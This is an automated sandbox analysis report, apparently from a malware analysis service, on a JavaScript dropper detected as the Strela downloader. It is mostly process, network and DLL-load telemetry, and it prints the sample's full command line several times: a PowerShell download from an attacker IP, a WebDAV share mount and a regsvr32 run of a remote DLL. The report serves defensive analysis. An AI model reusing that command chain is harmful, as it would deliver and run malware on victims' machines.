HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2078365906.00000171C1D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2142308228.00000279433ED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2139973001.000002794340C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3363209846.000002BDFD800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2141332059.000002BDFD6A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7116, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 9191198332977923109.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bg4ban1q.cme.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17319420287684745869,1550295137964606933,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17319420287684745869,1550295137964606933,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
